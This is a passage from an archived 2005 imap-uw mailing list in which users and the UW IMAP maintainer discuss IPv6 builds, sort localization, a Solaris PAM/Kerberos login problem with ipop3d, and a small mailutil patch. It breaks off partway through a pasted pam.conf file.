cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 6 May 2005 15:29:11 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout3.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j46MTAt5015756; Fri, 6 May 2005 15:29:10 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated authid=mrc) by smtp.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j46MT9mm029340 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Fri, 6 May 2005 15:29:10 -0700 Date: Fri, 6 May 2005 15:27:07 -0700 (Pacific Daylight Time) From: Mark Crispin To: "Dan Mahoney, System Admin" Subject: Re: [Imap-uw] IPv6 support In-Reply-To: <20050506182528.E31231@prime.gushi.org> Message-ID: References: <20050506182528.E31231@prime.gushi.org> Organization: Networks & Distributed Computing MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Scanned-By: MIMEDefang 2.49 on 140.142.33.1 X-Scanned-By: MIMEDefang 2.49 on 140.142.32.176 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Fri, 6 May 2005, Dan Mahoney, System Admin wrote: > Are there any plans to have Imap (and consequently the pop3 proxy) support > ipv6 connections? Do they already with some special compile-time flag? IPv6 support has been available since the first imap-2004 release. Just add "IP=6" to the make command line, e.g. make lrh IP=6 In W2K (Windows 2000/XP) builds, this is the default. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Sat May 7 05:13:48 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sat, 7 May 2005 05:13:48 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j47CDmof013733 for ; Sat, 7 May 2005 05:13:48 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j47CDlJF008273 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Sat, 7 May 2005 05:13:47 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j47CDR2t004885; Sat, 7 May 2005 05:13:27 -0700 Received: from mxe4.u.washington.edu (mxe4.u.washington.edu [140.142.33.15]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j47CDPkg004861 for ; Sat, 7 May 2005 05:13:25 -0700 Received: from jamgroup.info (jamgroup.info [216.12.202.14] (may be forged)) by mxe4.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j47CDOBW014013 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sat, 7 May 2005 05:13:25 -0700 Received: from metanetworking.com (localhost.localdomain [127.0.0.1]) (authenticated (0 bits)) by jamgroup.info (8.11.6/8.11.6) with ESMTP id j47M6DC08498 for ; Sat, 7 May 2005 17:06:13 -0500 Received: from 213.217.50.221 (SquirrelMail authenticated user persian-horde@metanetworking.com) by www.metanetworking.com with HTTP; Sat, 7 May 2005 17:06:13 -0500 (CDT) Message-ID: <13025.213.217.50.221.1115503573.squirrel@www.metanetworking.com> Date: Sat, 7 May 2005 17:06:13 -0500 (CDT) From: To: X-Priority: 3 Importance: Normal X-MSMail-Priority: Normal X-Mailer: SquirrelMail (version 1.2.5) MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Scanned-By: MIMEDefang 2.49 on 140.142.32.140 X-Scanned-By: MIMEDefang 2.49 on 140.142.33.15 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='NO_REAL_NAME 0, __CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __HAS_MSMAIL_PRI 0, __HAS_X_MAILER 0, __HAS_X_PRIORITY 0, __MIME_VERSION 0, __SANE_MSGID 0' Subject: [Imap-uw] imap sort/search localization problem X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Hello The sort and search functions in c-client do not support localization. As you said in, http://www.washington.edu/imap/IMAP-FAQs/#1.12, "There is no support for localization , but such support is planned..." We are currently working on localization of HORDE/IMP which uses imap_sort function in php, and as php developers say the sort is done by c-client library. We want to know that what is your plan for localization and when this feature will be available in c-client library. Thanks Persian Horde Team _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Sat May 7 06:51:47 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sat, 7 May 2005 06:51:47 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j47DpkSX016385 for ; Sat, 7 May 2005 06:51:46 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j47DpjLs012183 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Sat, 7 May 2005 06:51:46 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j47DpYPH028393; Sat, 7 May 2005 06:51:34 -0700 Received: from mxi2.u.washington.edu (mxi2.u.washington.edu [140.142.33.12]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j47DpX6D028385 for ; Sat, 7 May 2005 06:51:33 -0700 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mxi2.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j47DpXip019348 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Sat, 7 May 2005 06:51:33 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout3.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j47DpWKv014889; Sat, 7 May 2005 06:51:32 -0700 Received: from pangtzu.panda.com (pangtzu.panda.com [206.124.149.117]) (authenticated authid=mrc) by smtp.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j47DpGjf027872 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Sat, 7 May 2005 06:51:32 -0700 Date: Sat, 7 May 2005 06:51:15 -0700 (PDT) From: Mark Crispin To: persian-horde@metanetworking.com Subject: Re: [Imap-uw] imap sort/search localization problem In-Reply-To: <13025.213.217.50.221.1115503573.squirrel@www.metanetworking.com> Message-ID: References: <13025.213.217.50.221.1115503573.squirrel@www.metanetworking.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Scanned-By: MIMEDefang 2.49 on 140.142.32.140 X-Scanned-By: MIMEDefang 2.49 on 140.142.33.12 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Sat, 7 May 2005, persian-horde@metanetworking.com wrote: > We are currently working on localization of HORDE/IMP which uses imap_sort > function in php, and as php developers say the sort is done by c-client > library. We want to know that what is your plan for localization and when > this feature will be available in c-client library. Localization of sort collation in the c-client library is awaiting the finalization of the specification of internationalized sort collation within the IETF. There is not, as yet, a final definition of the standard representation of Unicode text in IMAP (stringprep profile) much less a standard definition of how Unicode text is collated by default in the absence of localized sorting rules. IMAP is not the only protocol which is affected. This is a major project within the IETF. Consequently, I can not offer any specific timeframe when localized sorting will happen within c-client. Any attempt to implement such a thing now would be foolhardy since we don't know what the standard will be yet. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Sun May 8 17:48:43 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 8 May 2005 17:48:43 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j490mhOd022442 for ; Sun, 8 May 2005 17:48:43 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j490mgaA021745 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Sun, 8 May 2005 17:48:42 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j490mJS0024297; Sun, 8 May 2005 17:48:19 -0700 Received: from mxe3.u.washington.edu (mxe3.u.washington.edu [140.142.32.137]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j490mInc024289 for ; Sun, 8 May 2005 17:48:18 -0700 Received: from ldap.eng.wayne.edu (ldap.eng.wayne.edu [141.217.202.31]) by mxe3.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j490mHbW012240 for ; Sun, 8 May 2005 17:48:18 -0700 Received: from [141.217.204.111] ([141.217.204.111]) by ldap.eng.wayne.edu (8.12.9/8.12.9) with ESMTP id j490fIa9010797 for ; Sun, 8 May 2005 20:41:18 -0400 (EDT) Message-ID: <427EB2D1.5090400@eng.wayne.edu> Date: Sun, 08 May 2005 20:46:09 -0400 From: Brian Thompson User-Agent: Mozilla Thunderbird 0.8 (Windows/20040904) X-Accept-Language: en-us, en MIME-Version: 1.0 To: imap-uw@u.washington.edu Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.49 on 140.142.33.1 X-Scanned-By: MIMEDefang 2.49 on 140.142.32.137 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' Subject: [Imap-uw] ipop3d incompatible with Solaris10 built in pam_krb5? X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Ok, this one I just can't seem to get working no matter what I try... Here's the setup: The mail server (Solaris 10/sparc) is a client machine within a krb5 realm and some users need to use their krb5 password. The mail server also has some users who need to use their local /etc/shadow password. We're using imap-2004d source distribution compiled without SSL support, with "pmb" pam support, using the Sun workshop compilers "make soc". pam_krb and pam_unix are both working. They authenticate fine for telnet, ftp, ssh, and *imapd* using either password. Users can use either their local password or their krb5 password to check their email via imapd. Users who attempt to check their email via pop3d can only use their local password (pam_unix), not their krb5 passwd (pam_krb5). When someone tries to log into ipop3d with their krb5 password, it fails with a bad password error. Looking at the logs, pam_krb5 is being called and is returning successfully. Anyone have any ideas what to try next? Thanks for any insight, Brian _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Sun May 8 17:58:22 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 8 May 2005 17:58:22 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j490wLMK022723 for ; Sun, 8 May 2005 17:58:21 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j490wLw2022078 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Sun, 8 May 2005 17:58:21 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j490wEso024915; Sun, 8 May 2005 17:58:14 -0700 Received: from mxi2.u.washington.edu (mxi2.u.washington.edu [140.142.33.12]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j490wCub024907 for ; Sun, 8 May 2005 17:58:12 -0700 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxi2.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j490wC0C017616 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Sun, 8 May 2005 17:58:12 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j490w9xb014272; Sun, 8 May 2005 17:58:09 -0700 Received: from pangtzu.panda.com (pangtzu.panda.com [206.124.149.117]) (authenticated authid=mrc) by smtp.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j490w7wu022826 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NOT); Sun, 8 May 2005 17:58:09 -0700 Date: Sun, 8 May 2005 17:58:06 -0700 (PDT) From: Mark Crispin To: Brian Thompson Subject: Re: [Imap-uw] ipop3d incompatible with Solaris10 built in pam_krb5? In-Reply-To: <427EB2D1.5090400@eng.wayne.edu> Message-ID: References: <427EB2D1.5090400@eng.wayne.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Scanned-By: MIMEDefang 2.49 on 140.142.33.1 X-Scanned-By: MIMEDefang 2.49 on 140.142.33.12 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu The authentication code is identical between ipop3d and imapd, at least in those using the same build. Did you remember to create a pop profile in /etc/pam.d? What's in it? It can be identical to the imap profile (and probably should be). Note that when ipop3d logs in, PAM will use the pop profile and not the imap profile. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Sun May 8 18:03:45 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 8 May 2005 18:03:45 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j4913jlF023002 for ; Sun, 8 May 2005 18:03:45 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j4913iSF022463 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Sun, 8 May 2005 18:03:44 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j4913Qpj025476; Sun, 8 May 2005 18:03:26 -0700 Received: from mxe1.u.washington.edu (mxe1.u.washington.edu [140.142.32.136]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j4913Pbo025468 for ; Sun, 8 May 2005 18:03:25 -0700 Received: from jalapeno.cc.columbia.edu (jalapeno.cc.columbia.edu [128.59.29.5]) by mxe1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j4913Ohm013916 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Sun, 8 May 2005 18:03:25 -0700 Received: from [192.168.0.3] (207-237-117-188.c3-0.80w-ubr16.nyr-80w.ny.cable.rcn.com [207.237.117.188]) (user=selsky mech=PLAIN bits=0) by jalapeno.cc.columbia.edu (8.13.0/8.13.0) with ESMTP id j4913BRx019677 (version=TLSv1/SSLv3 cipher=RC4-SHA bits=128 verify=NOT) for ; Sun, 8 May 2005 21:03:12 -0400 (EDT) Mime-Version: 1.0 (Apple Message framework v622) To: IMAP-UW@u.washington.edu Message-Id: <9c482b6e7d98db31048b0291df131064@columbia.edu> Content-Type: multipart/mixed; boundary=Apple-Mail-4--145562001 From: Matt Selsky Date: Sun, 8 May 2005 21:03:11 -0400 X-Mailer: Apple Mail (2.622) X-No-Spam-Score: Local X-Scanned-By: MIMEDefang 2.49 on 140.142.33.1 X-Scanned-By: MIMEDefang 2.49 on 140.142.32.136 X-Scanned-By: MIMEDefang 2.48 on 128.59.29.5 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTYPE_HAS_BOUNDARY 0, __CTYPE_MULTIPART 0, __HAS_MSGID 0, __HAS_X_MAILER 0, __MIME_VERSION 0, __MIME_VERSION_APPLEMAIL 0, __SANE_MSGID 0, __USER_AGENT_APPLEMAIL 0, __X_MAILER_APPLEMAIL 0' Cc: Subject: [Imap-uw] [patch] mailutil password prompt and invalid mailbox names X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu --Apple-Mail-4--145562001 Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=US-ASCII; format=flowed I'm trying to move my mailboxes from our imap-2004a server to Cyrus imapd and I'm running into some problems. $ mailutil transfer -merge prompt {uwash-host/tls/novalidate-cert/user=selsky} {cyrus-host/tls/novalidate-cert/user=selsky} password: password: Invalid mailbox name alternative name: The attached patch changes the password prompt to also print the hostname when the username is specified on the command line. Without the hostname, it could be confusing about which password is being prompted for. The patch also tells the user which mailbox name is invalid so they have a basis for picking an alternate name. Cheers, -- Matt --Apple-Mail-4--145562001 Content-Transfer-Encoding: 7bit Content-Type: application/octet-stream; x-unix-mode=0644; name="mailutil.patch" Content-Disposition: attachment; filename=mailutil.patch --- imap-2004d.orig/src/mailutil/mailutil.c Thu Jan 27 19:24:37 2005 +++ imap-2004d/src/mailutil/mailutil.c Sat May 7 18:56:03 2005 @@ -398,6 +398,7 @@ int ret = NIL; trycreate = NIL; /* no TRYCREATE yet */ if (create) while (!mail_create (dest,dst) && (mode != mAPPEND)) { + printf ("Invalid name for mailbox: %s\n", dst); switch (mode) { case mPROMPT: /* prompt user for new name */ tmp[0] = '\0'; @@ -658,7 +659,11 @@ void mm_login (NETMBX *mb,char *username,char *password,long trial) { char *s; - if (*mb->user) strcpy (username,mb->user); + if (*mb->user) { + strcpy (username,mb->user); + printf ("{%s/%s/user=\"%s\"} ",mb->host,mb->service,mb->user); + fflush (stdout); + } else { printf ("{%s/%s} username: ",mb->host,mb->service); fgets (username,NETMAXUSER-1,stdin); --Apple-Mail-4--145562001 Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Disposition: inline _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw --Apple-Mail-4--145562001-- From pinedev@shivax2.cac.washington.edu Sun May 8 18:33:43 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 8 May 2005 18:33:43 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j491XgQA024006 for ; Sun, 8 May 2005 18:33:42 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j491Xe4k008950 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Sun, 8 May 2005 18:33:41 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j491X3KQ028430; Sun, 8 May 2005 18:33:03 -0700 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j491RIWc027395 for ; Sun, 8 May 2005 18:27:18 -0700 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxi3.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j491RFll013058 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Sun, 8 May 2005 18:27:16 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j491RDrS016332; Sun, 8 May 2005 18:27:13 -0700 Received: from pangtzu.panda.com (pangtzu.panda.com [206.124.149.117]) (authenticated authid=mrc) by smtp.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j491RAOX024157 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NOT); Sun, 8 May 2005 18:27:12 -0700 Date: Sun, 8 May 2005 18:27:09 -0700 (PDT) From: Mark Crispin To: Matt Selsky Subject: Re: [Imap-uw] [patch] mailutil password prompt and invalid mailbox names In-Reply-To: <9c482b6e7d98db31048b0291df131064@columbia.edu> Message-ID: References: <9c482b6e7d98db31048b0291df131064@columbia.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII; FORMAT=flowed Content-ID: X-Scanned-By: MIMEDefang 2.49 on 140.142.32.140 X-Scanned-By: MIMEDefang 2.49 on 140.142.32.176 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' Cc: IMAP-UW@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Thank you. I have added the suggested text to the password prompt when there is no username prompt. I did not add your printf() to the mail_create() failure, since mailutil already prints the server error message. "Invalid name for mailbox" is the wrong text in any case, since all the client knows is that mail_create() failed but not why. The only thing that an extra message could say is "Can't create mailbox" which likely duplicates what the server already said (and would with a UW server). I consider the problem to be that the Cyrus server isn't issuing a useful message. I suggest that you bring up the issue with the Cyrus maintainers. They're good people, and I'm sure if you ask nicely they'll fix the message to be more informative. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Sun May 8 18:38:33 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 8 May 2005 18:38:33 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j491cXLA024421 for ; Sun, 8 May 2005 18:38:33 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j491cVnT023920 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Sun, 8 May 2005 18:38:32 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j491cPKT029432; Sun, 8 May 2005 18:38:25 -0700 Received: from mxe7.u.washington.edu (mxe7.u.washington.edu [140.142.32.169]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j491Rclc027421 for ; Sun, 8 May 2005 18:27:38 -0700 Received: from ldap.eng.wayne.edu (ldap.eng.wayne.edu [141.217.202.31]) by mxe7.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j491RaNJ005589 for ; Sun, 8 May 2005 18:27:36 -0700 Received: from [141.217.204.111] ([141.217.204.111]) by ldap.eng.wayne.edu (8.12.9/8.12.9) with ESMTP id j491KXa9010228; Sun, 8 May 2005 21:20:33 -0400 (EDT) Message-ID: <427EBC04.5000105@eng.wayne.edu> Date: Sun, 08 May 2005 21:25:24 -0400 From: Brian Thompson User-Agent: Mozilla Thunderbird 0.8 (Windows/20040904) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Mark Crispin Subject: Re: [Imap-uw] ipop3d incompatible with Solaris10 built in pam_krb5? References: <427EB2D1.5090400@eng.wayne.edu> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.49 on 140.142.33.1 X-Scanned-By: MIMEDefang 2.49 on 140.142.32.169 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Here's my /etc/pam.conf below. I believe both imapd and ipop3d are calling pam_krb5 via "other auth sufficient pam_krb5.so.1 debug". pam_krb5 is being called and is succeeding in both cases. imapd deals with the success properly. ipop3d appears to get lost somewhere along the way and fails. +OK POP3 srv03fac 2004.89 server ready user briancs +OK User name accepted, password please pass 123password456 -ERR Bad login quit +OK Sayonara Also below is the pam_krb5 debug log. -Brian # #ident "@(#)pam.conf 1.28 04/04/21 SMI" # # Copyright 2004 Sun Microsystems, Inc. All rights reserved. # Use is subject to license terms. # # PAM configuration # # Unless explicitly defined, all services use the modules # defined in the "other" section. # # Modules are defined with relative pathnames, i.e., they are # relative to /usr/lib/security/$ISA. Absolute path names, as # present in this file in previous releases are still acceptable. # # Authentication management # # login service (explicit because of pam_dial_auth) # login auth requisite pam_authtok_get.so.1 login auth required pam_dhkeys.so.1 login auth required pam_unix_cred.so.1 login auth sufficient pam_krb5.so.1 debug login auth required pam_unix_auth.so.1 login auth required pam_dial_auth.so.1 # # # rlogin service (explicit because of pam_rhost_auth) # rlogin auth sufficient pam_rhosts_auth.so.1 rlogin auth requisite pam_authtok_get.so.1 rlogin auth required pam_dhkeys.so.1 rlogin auth required pam_unix_cred.so.1 rlogin auth required pam_unix_auth.so.1 # # Kerberized rlogin service # krlogin auth required 